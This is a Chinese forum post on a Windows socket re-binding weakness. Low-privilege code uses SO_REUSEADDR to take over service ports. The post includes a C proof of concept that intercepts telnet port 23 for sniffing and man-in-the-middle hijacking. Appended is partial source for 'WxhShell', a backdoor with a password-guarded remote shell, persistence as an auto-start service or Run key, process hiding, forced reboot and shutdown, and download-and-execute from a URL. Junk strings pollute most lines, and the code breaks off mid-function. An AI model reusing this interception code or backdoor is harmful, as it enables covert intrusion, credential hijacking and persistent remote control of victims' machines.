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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V/Hjd`n)`i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9Vx2VjK2'  
(~/VP3.S  
  saddr.sin_family = AF_INET; E3gR%t  
qvz2u]IOw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cq'opjLf5  
xq:.|{HUk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ScrEtN  
1xM'5C?~7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r}OK3J  
mj0{Nd  
  这意味着什么?意味着可以进行如下的攻击: qkC+9Sk  
v\*43RL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VOBzB]  
&6A'}9Ch  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @Md%gEh;&  
16MRLDhnD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2= X2M  
]!J 6S.@#+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jw$3cwddH  
u-Pa:wm0-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |pJ)w  
ZdHfZ3)dB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <va3Ly)c&  
]]{$X_0n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SU;PmG4  
u2 a U0k:  
  #include ~<Z;)e  
  #include Z~{0XG\Y  
  #include *vFVXJo  
  #include    I_@\O!<y}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0!F"s>(H  
  int main() ^"\ jIP  
  {  t4pc2b  
  WORD wVersionRequested; e{8z1t20:  
  DWORD ret; trmCIk&Fkj  
  WSADATA wsaData; 9^h\vR|]S  
  BOOL val; YQOdwc LG  
  SOCKADDR_IN saddr; S(](C  
  SOCKADDR_IN scaddr; obRR))  
  int err; V| b9zHh  
  SOCKET s; zu&5[XL  
  SOCKET sc; v!?bEM3D  
  int caddsize; ?ix--?jl  
  HANDLE mt; Zws[}G"7h  
  DWORD tid;   Rkm1fYf  
  wVersionRequested = MAKEWORD( 2, 2 ); ')t :!#  
  err = WSAStartup( wVersionRequested, &wsaData ); +9G GC  
  if ( err != 0 ) { B7(~m8:eH7  
  printf("error!WSAStartup failed!\n"); ]&\HAmOQS  
  return -1; C{!L +]/  
  } IRNL(9H  
  saddr.sin_family = AF_INET; j*>+^g\Q6  
   ,ii*[{X?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G$pTTT6#  
s42M[BW]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G\G TS}u[  
  saddr.sin_port = htons(23); Twyx(~'&R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S-{[3$  
  { F>Rz}-Fy  
  printf("error!socket failed!\n"); r#iZ FL3q  
  return -1; %eWzr  
  } )z-)S  
  val = TRUE; ){`s&?M0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =; Gw=m(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %0C<_drW  
  { SLp &_S@4  
  printf("error!setsockopt failed!\n"); \Zz"%i  
  return -1; n 1MZHa,  
  } jY%&G#4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^;jJVYx-PP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nmZz`P9g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eznt "Rr2  
\"Z^{Y[,;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F8M&.TE_3  
  { X.hU23w  
  ret=GetLastError(); 2g~qVT,  
  printf("error!bind failed!\n"); .zQ:u{FT  
  return -1; <WFA3  
  } 1O@ qpNm  
  listen(s,2); c*2 U'A  
  while(1) \J[m4tw^  
  { X{4jyi-<  
  caddsize = sizeof(scaddr); 6" fYSn>  
  //接受连接请求 K ;\~otR^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rD=8O#m g  
  if(sc!=INVALID_SOCKET) ^hq+ L^$^  
  { {y)O ?9q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -&4>>h9 _  
  if(mt==NULL) P^V,"B8t  
  { s}Phw2`1U  
  printf("Thread Creat Failed!\n"); -!MrG68  
  break; G165grGFd  
  } Pyh+HD\  
  } j1{|3#5V  
  CloseHandle(mt); m>yb}+  
  } e ewhT ^  
  closesocket(s); Xi$( U8J_  
  WSACleanup(); _M'WTe  
  return 0; I\ e?v`e  
  }   n@5Sp2p  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8K+(CS>xvO  
  { |dIP &9  
  SOCKET ss = (SOCKET)lpParam; Qn= 3b:S-  
  SOCKET sc; e_'/4 n  
  unsigned char buf[4096]; ]0v;;PfVl6  
  SOCKADDR_IN saddr; ^b|Z<oF  
  long num; 3m3ljy  
  DWORD val; m$<LO%<~p  
  DWORD ret; \f| Hk*@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DV+M;rs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?bFP'.  
  saddr.sin_family = AF_INET; k1tJ$}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X&C&DTB  
  saddr.sin_port = htons(23); j("$qp v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \H(r }D$u<  
  { ?88k`T'EI  
  printf("error!socket failed!\n"); +;z^qn  
  return -1; W P7RX|7  
  } eu=G[>  
  val = 100; :"m~tU3&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ( w4w  
  { y8} fj=  
  ret = GetLastError(); WgHl. :R  
  return -1; S1jI8 #z}_  
  } m(0sG(A~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4I7B #{  
  { \s_lB~"P!3  
  ret = GetLastError(); rJLn=|uR  
  return -1; 3V=(P.ATm  
  } aq~>$CHa  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /$NDH]a  
  { y?=W  
  printf("error!socket connect failed!\n"); $ti*I;)h4  
  closesocket(sc); e^v5ai  
  closesocket(ss); UN ;9h9  
  return -1; &O|!w&  
  } -CV_yySc  
  while(1) U -RR>j  
  {  R&oC9<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #'`!*VI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MZYh44  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D#%aow'(7  
  num = recv(ss,buf,4096,0); JFAmND;+  
  if(num>0) }f rij1/G  
  send(sc,buf,num,0); Mc8|4/<Z  
  else if(num==0) u&4CXv=  
  break; 5ggmS<=  
  num = recv(sc,buf,4096,0); { 'A`ram  
  if(num>0) x"g-okLN  
  send(ss,buf,num,0); BdW Rm=  
  else if(num==0) sk'< K5~  
  break; `As| MYv  
  } D$ X9xtT  
  closesocket(ss); 7  s+j)  
  closesocket(sc); un*Ptc2%  
  return 0 ; (pBPf  
  } jbQ N<`!  
XKp$v']u  
ku2g FO  
========================================================== ^b{-y  
}iGpuoXT`  
下边附上一个代码,,WXhSHELL g/*x;d=  
m(2(Caz{  
========================================================== 6d4e~F  
 Om%HrT  
#include "stdafx.h" 9NUft8QB  
2bJqZ,@  
#include <stdio.h> Lj]I7ICNh  
#include <string.h> .&z/p3 1  
#include <windows.h> 4)]w"z0Pc  
#include <winsock2.h> mT]+wi&  
#include <winsvc.h> 8]SJ=c"}Xf  
#include <urlmon.h> $? 'JePC  
'*4>&V.yX  
#pragma comment (lib, "Ws2_32.lib")  Iw07P2  
#pragma comment (lib, "urlmon.lib") @B.;V=8wJ  
Tbf@qid e  
#define MAX_USER   100 // 最大客户端连接数 8(AI|"A"-  
#define BUF_SOCK   200 // sock buffer | aAu 4   
#define KEY_BUFF   255 // 输入 buffer 1yFVF  
 L#  
#define REBOOT     0   // 重启 yQP!Vt^  
#define SHUTDOWN   1   // 关机 aJ!(c}N~97  
+jpaBr-O#  
#define DEF_PORT   5000 // 监听端口 $x5,Oen  
b*;zdGX.A9  
#define REG_LEN     16   // 注册表键长度 N 3M:|D  
#define SVC_LEN     80   // NT服务名长度 N+)gYb6h  
]YQ!i@Y  
// 从dll定义API f+ }Rj0A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;HKb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =O~ J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sObH#/l`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7z.(pg=  
O~p@87aq  
// wxhshell配置信息 }"$2F0  
struct WSCFG { A~2U9f+\  
  int ws_port;         // 监听端口 t>f61<27eB  
  char ws_passstr[REG_LEN]; // 口令 FWi c/7  
  int ws_autoins;       // 安装标记, 1=yes 0=no g&79?h4UXQ  
  char ws_regname[REG_LEN]; // 注册表键名 th!$R  
  char ws_svcname[REG_LEN]; // 服务名 S%NS7$`a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jruXl>T!U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lg;b17  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y 6NoNc]h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UU7E+4O&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "-y 2En  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cpIFjb>u{  
p3m!Iota  
}; mbf'xGO  
%NyV 2W=~X  
// default Wxhshell configuration sl5y1W/]]  
struct WSCFG wscfg={DEF_PORT, )+Nm @+B  
    "xuhuanlingzhe", ?MW *`U  
    1, 9+z5 $  
    "Wxhshell", RFsd/K;Zp  
    "Wxhshell", [RAzKzC\M  
            "WxhShell Service", Fi7G S;  
    "Wrsky Windows CmdShell Service", 'zRi ;:UHA  
    "Please Input Your Password: ", %i!=.7o.  
  1, .Lwp`{F/  
  "http://www.wrsky.com/wxhshell.exe", .J/x@  
  "Wxhshell.exe" kiah,7V/  
    }; z;c~(o@4  
7o+JQ&fF;  
// 消息定义模块 ;~A-32;Y4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fwu:x.(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iRbTH}4i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Lip(r3  
char *msg_ws_ext="\n\rExit."; U<pG P  
char *msg_ws_end="\n\rQuit."; >A]U.C  
char *msg_ws_boot="\n\rReboot..."; =up!lg^M  
char *msg_ws_poff="\n\rShutdown..."; \d"uR@$3mG  
char *msg_ws_down="\n\rSave to "; T[ ~8u9/  
A#b`{C~l  
char *msg_ws_err="\n\rErr!"; *btLd7c%  
char *msg_ws_ok="\n\rOK!"; Q|gw\.]$&[  
X@["Jjp  
char ExeFile[MAX_PATH]; Z+gG.|"k  
int nUser = 0; '8k{\>  
HANDLE handles[MAX_USER]; '7Ad:em  
int OsIsNt; A^m]DSFOO  
;^[VqFpeS  
SERVICE_STATUS       serviceStatus; UQ7E7yY#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FnZMW, P  
%OV)O-  
// 函数声明 &Zzd6[G+  
int Install(void); +vDEDOS1  
int Uninstall(void); +#B4Z'nT  
int DownloadFile(char *sURL, SOCKET wsh); 1X ?9Ji)h  
int Boot(int flag); m'!smS x8  
void HideProc(void); *mvDh9v  
int GetOsVer(void); ;0Vyim)S]  
int Wxhshell(SOCKET wsl); rXIFCt8J  
void TalkWithClient(void *cs); k=nN#SMn  
int CmdShell(SOCKET sock); *y}<7R  
int StartFromService(void); $] gwaJ:  
int StartWxhshell(LPSTR lpCmdLine); p)x*uqSd  
H'2J!/V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,qj1"e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n#US4&uT4A  
f;PPB@ :`$  
// 数据结构和表定义 \*wQ%_N5  
SERVICE_TABLE_ENTRY DispatchTable[] = `rwzCwA1  
{ a?d)l nk  
{wscfg.ws_svcname, NTServiceMain}, 4s:S_Dw  
{NULL, NULL} @|=JXSr!KY  
}; X\=m  
]-rhc.Gk@1  
// 自我安装 ym]12PAU5  
int Install(void) 5PcN$r"P  
{ KTmduf7DL  
  char svExeFile[MAX_PATH]; Ar;uq7c,G  
  HKEY key; q2$-U&  
  strcpy(svExeFile,ExeFile); ]_hrYjX;  
sy\w ^]  
// 如果是win9x系统,修改注册表设为自启动 wU"0@^k]<  
if(!OsIsNt) { 'j#J1 xwJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Au=9<WB%H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `U.VfQR:  
  RegCloseKey(key); ]Qu.-F#g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >u-6,[(5X*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QE#Ar8tU  
  RegCloseKey(key); hoLQuh%2%  
  return 0; Uo~-^w}  
    } #GlQwk3  
  } W1$<,4j@M  
} xn &$qLB  
else { CyWMr/'  
./KXElvQ%  
// 如果是NT以上系统,安装为系统服务 v/s6!3pnl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4Y>J,c  
if (schSCManager!=0) liuw!  
{ 9>OPaL n  
  SC_HANDLE schService = CreateService Y30T>5  
  ( T, z80m}  
  schSCManager, .boBo$f  
  wscfg.ws_svcname, J^Mq4&  
  wscfg.ws_svcdisp, 2VZdtz  
  SERVICE_ALL_ACCESS, Ch;wvoy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7gx 7NDt  
  SERVICE_AUTO_START, 1FPt%{s3  
  SERVICE_ERROR_NORMAL, K8R}2K-Y  
  svExeFile, p-S&Wq  
  NULL, Pw :{  
  NULL, !#[=,'Y  
  NULL, w y\0o  
  NULL, yPmo@aw]1  
  NULL `zw^ WbCO{  
  ); w Jr5[p*M  
  if (schService!=0) q; n  
  { wr~Ydmsf  
  CloseServiceHandle(schService); [d3i _^\  
  CloseServiceHandle(schSCManager); !,0%ZG}]7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K8?]&.!  
  strcat(svExeFile,wscfg.ws_svcname); ]}za  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :p|wo"=@Ge  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c(j|xQ\pE  
  RegCloseKey(key); iLIv<VK/d  
  return 0; |Q\O% cb  
    } 6]D%|R,Q#}  
  } s{:l yp  
  CloseServiceHandle(schSCManager); $.0l% $7  
} Ig{ 3>vB  
} {pR4+g  
1v M'yr$  
return 1; CwL8-z0 Jn  
} A{IJ](5.kd  
>[A7oH  
// 自我卸载 )b7;w#%q  
int Uninstall(void) _s%;GWj  
{ [WXa]d5Y  
  HKEY key; x[dR5  
YK V?I   
if(!OsIsNt) { ^fq^s T.$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gp.XTz#=  
  RegDeleteValue(key,wscfg.ws_regname); x,rK4L7U  
  RegCloseKey(key); j YVR"D;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N0POyd/rL  
  RegDeleteValue(key,wscfg.ws_regname); 0hB9D{`,{  
  RegCloseKey(key); [(kC/W)!  
  return 0; M. o}?  
  } a^5.gfzA  
} " R5! VV  
} DKnlbl1^?  
else { _t7}ny[  
[~v1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9:v0gE+.  
if (schSCManager!=0) Q8GI;`Rb  
{ >oHgs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }1}L&M@  
  if (schService!=0) iU1yJ=  
  { /9o gg  
  if(DeleteService(schService)!=0) { hziPHuK9,  
  CloseServiceHandle(schService); vvwQ/iJO4Q  
  CloseServiceHandle(schSCManager); \\d!z-NOk?  
  return 0; "+sl(A3`U  
  } A(84cmq!q  
  CloseServiceHandle(schService); `ttqgv\  
  } l RM7s(^l  
  CloseServiceHandle(schSCManager); tM DJ,rT  
} 6!T9VL\=H  
} /YrBnccqD  
:oeDksld  
return 1; 6>)oG6  
} uozK'L  
?"Ec#,~  
// 从指定url下载文件 5fjL  
int DownloadFile(char *sURL, SOCKET wsh) 3I.0jA#T&/  
{ PO@b9O  
  HRESULT hr; J`d_=C?J  
char seps[]= "/"; ah2L8jN"  
char *token; /JGET  
char *file; NfsF'v  
char myURL[MAX_PATH]; y{k65dk-  
char myFILE[MAX_PATH]; SsBiCctn  
[~Vj(H=KwI  
strcpy(myURL,sURL); 3 [r9v!l  
  token=strtok(myURL,seps);  &peUC n  
  while(token!=NULL) *$ kpSph  
  { o$rA;^2X  
    file=token; 3`+Bq+  
  token=strtok(NULL,seps); (`)ZR %i  
  } {Lg]chJq?  
E'iN==p_:  
GetCurrentDirectory(MAX_PATH,myFILE); < .knM  
strcat(myFILE, "\\"); rInZd`\  
strcat(myFILE, file); U.A:'9K,  
  send(wsh,myFILE,strlen(myFILE),0); g/(3D  
send(wsh,"...",3,0); #<o=W#[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n]x%xnt  
  if(hr==S_OK) DcRvZH  
return 0; von<I  
else i1JVvNMQ,  
return 1; 0?Bv zfb  
>)*0lfxTZ  
} ]WvV*FL9D3  
S>;+zVF]  
// 系统电源模块 4d63+iM+}  
int Boot(int flag) ]9lR:V sw  
{ H#:Aby-d}  
  HANDLE hToken; w<SFs#Z  
  TOKEN_PRIVILEGES tkp; JuD&121N*  
:v B9z  
  if(OsIsNt) { |7)oX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;km^ OO$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P<C=9@`!  
    tkp.PrivilegeCount = 1; 1a79]-j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y{I,ipU.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `6RR/~kP(  
if(flag==REBOOT) { M97MIku~9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vX}#wDNP  
  return 0; <^(>o  
} T8NDS7&?  
else { aL^ 58My&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +[2ep"5H  
  return 0; 3,^.  
} ngOGo =  
  } l}_6 _g>6  
  else { oxNQNJ!X  
if(flag==REBOOT) { ,lDOo+eE%:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &2sfu0K  
  return 0; ^E&WgXlb  
} !6FO[^h||H  
else { [79iC$8B|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;iO5 8S3  
  return 0; f-`C1|\w  
} ] XjL""EbC  
} +lw8YH  
2?nEHIUT  
return 1; cnz+%Y N  
} '1"vwXJ"  
v(P5)R,  
// win9x进程隐藏模块 g+]o=@  
void HideProc(void) iI Dun Ih  
{ ,FL*Z9wA  
3YD.Fjz$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8}K4M(  
  if ( hKernel != NULL ) LV@tt&|N  
  { x4XCR,-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dLbSvK<(I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yYiu69v  
    FreeLibrary(hKernel); F% z$^ m-  
  } DCKH^J   
M \UB r4  
return; *nSKIDw  
} %[x PyqX  
B &e'n<  
// 获取操作系统版本 8EY]<#PN  
int GetOsVer(void) ?$.JgG%Z+g  
{ s"~3.J  
  OSVERSIONINFO winfo; 9`tSg!YOh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rUg|5EN^)d  
  GetVersionEx(&winfo); r2m&z%N &  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l#TE$d^ym  
  return 1; "t%Jj89a\  
  else !3)WW)"!r  
  return 0; 6h7TM?lt  
} yJW/yt.l  
uj@d {AQ  
// 客户端句柄模块 K(#O@Wmjq  
int Wxhshell(SOCKET wsl) D"CU J?  
{ M{g.x4M@W  
  SOCKET wsh; zy`T! $  
  struct sockaddr_in client; r3 dGXiu  
  DWORD myID; o>HU4O}  
\V T.bUs  
  while(nUser<MAX_USER) hA1p#  
{ )]C(NTfxg  
  int nSize=sizeof(client); d:{}0hmxI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S]Ye`  
  if(wsh==INVALID_SOCKET) return 1; 6&o?#l;|  
*p0Kw>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sym}#F\s  
if(handles[nUser]==0) o(yyj'=(  
  closesocket(wsh); Id=V\'$o  
else 0ax ;Q[z2  
  nUser++; ?\$6"c<G  
  } 6w~Cyu4Ov  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1E=E ?$9sg  
06e dVIRr  
  return 0; [1e]_9)p  
} W5>emx'>  
!8&EkXTw,  
// 关闭 socket [lGxys)J  
void CloseIt(SOCKET wsh) B+z>$6  
{ m qwJya  
closesocket(wsh); Aw&0R"{  
nUser--; LfN,aW  
ExitThread(0); VniU:A  
} kK:U+`+  
)E m`kle  
// 客户端请求句柄 o4jh n[Fx  
void TalkWithClient(void *cs) 5?m4B:W  
{ Z1_F)5pn  
:eIQF7-  
  SOCKET wsh=(SOCKET)cs; 0i>p1/kv  
  char pwd[SVC_LEN]; ~ R eX$9  
  char cmd[KEY_BUFF]; >[l2KD  
char chr[1]; Y h53Z"a  
int i,j; J-qUJX~4c  
S6Y:Z0  
  while (nUser < MAX_USER) { $\q.Zb  
ueEf>0  
if(wscfg.ws_passstr) { DFvGc`O4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "^)GnK +-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b[J0+l\!"  
  //ZeroMemory(pwd,KEY_BUFF); /=g/{&3[a>  
      i=0; -Jt36|O  
  while(i<SVC_LEN) { Z!3R  
8nwps(3  
  // 设置超时 r7FJqd  
  fd_set FdRead; TfHL'u9B  
  struct timeval TimeOut; 2R W~jn"  
  FD_ZERO(&FdRead); ^SK!? M  
  FD_SET(wsh,&FdRead); *c 9 S.  
  TimeOut.tv_sec=8; /vC!__K9:  
  TimeOut.tv_usec=0; }X. Fm'`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F\^\,hy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +ViL"  
E u<f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); - ,?LS w  
  pwd=chr[0]; $%4<q0-  
  if(chr[0]==0xd || chr[0]==0xa) { Cbp zYv32  
  pwd=0; Qq'e#nI@  
  break; GWLdz0`2_  
  } =~5N/!  
  i++; tu(^D23  
    } r&IDTS#  
DP;:%L}  
  // 如果是非法用户,关闭 socket j+e~ tCcN/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t+K1ArQc  
} :^U>n{   
y06xl:iQwF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C_JO:$\rE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z$L e,+  
vK`HgRQ(C  
while(1) { }=Xlac_U  
gAVD-]`  
  ZeroMemory(cmd,KEY_BUFF); !c dY`f6x  
K-@\";whF  
      // 自动支持客户端 telnet标准   "$D'gS oYe  
  j=0; /nv+*+Q?d  
  while(j<KEY_BUFF) { : dNJ2&kJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gpi_p  
  cmd[j]=chr[0]; ,Xr`tQ<@  
  if(chr[0]==0xa || chr[0]==0xd) { bI`JG:^b  
  cmd[j]=0; 0 /9 C=v  
  break; \hn$-'=4  
  } 78r0K 5=  
  j++; Xvoz4'Gme  
    } 1Wiz0X/  
1z0|uc  
  // 下载文件 kKjcW` [  
  if(strstr(cmd,"http://")) { iSUu3Yv,_m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UWhJkJsX  
  if(DownloadFile(cmd,wsh)) 3rd8mh&l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ke=+D'=  
  else \ \Tz'>[\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;)wk ^W  
  } k"C'8<T)'  
  else { _!!Fg%a5"R  
42p1P6d  
    switch(cmd[0]) { >< >%;HZ  
  DycXJ3eQ  
  // 帮助 8Lgm50bs  
  case '?': {  UO#`Ak  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q VI0?B x  
    break; r ;MFVj{  
  } l5~O}`gfh  
  // 安装 Z[ &d2'  
  case 'i': { IF-y/]  
    if(Install()) 3Pgokj   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bM5o-U#^ C  
    else 6GPI gPL,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &CSy>7&q  
    break; %4Qs|CM)m  
    } &:IcwD&  
  // 卸载 Sk1t~  
  case 'r': { (vX< B h  
    if(Uninstall()) PHEQG]H S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ir5|H|b<  
    else ,G5[?H;ZN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GBWL0'COV  
    break; s;=C&N5g  
    } s@5~Hy eI  
  // 显示 wxhshell 所在路径 >KvK'Mus/  
  case 'p': { EpyMc+.Ze'  
    char svExeFile[MAX_PATH]; RPte[tq  
    strcpy(svExeFile,"\n\r"); 3 u4Q!U%(D  
      strcat(svExeFile,ExeFile); Hk@Gkx_  
        send(wsh,svExeFile,strlen(svExeFile),0); |FM*1Q[1  
    break; )wCNLi>4  
    } hjM?D`5x  
  // 重启 %D8.uGsh  
  case 'b': { '6WS<@%}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' |B3@9<  
    if(Boot(REBOOT)) Mqvo j7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z b$]9(RS  
    else { rF"p7  
    closesocket(wsh); ..+#~3es#y  
    ExitThread(0); 6hv.;n};  
    } >5:O%zQ@  
    break; zBTW&  
    } : ?BK A0E  
  // 关机 S\< i`q  
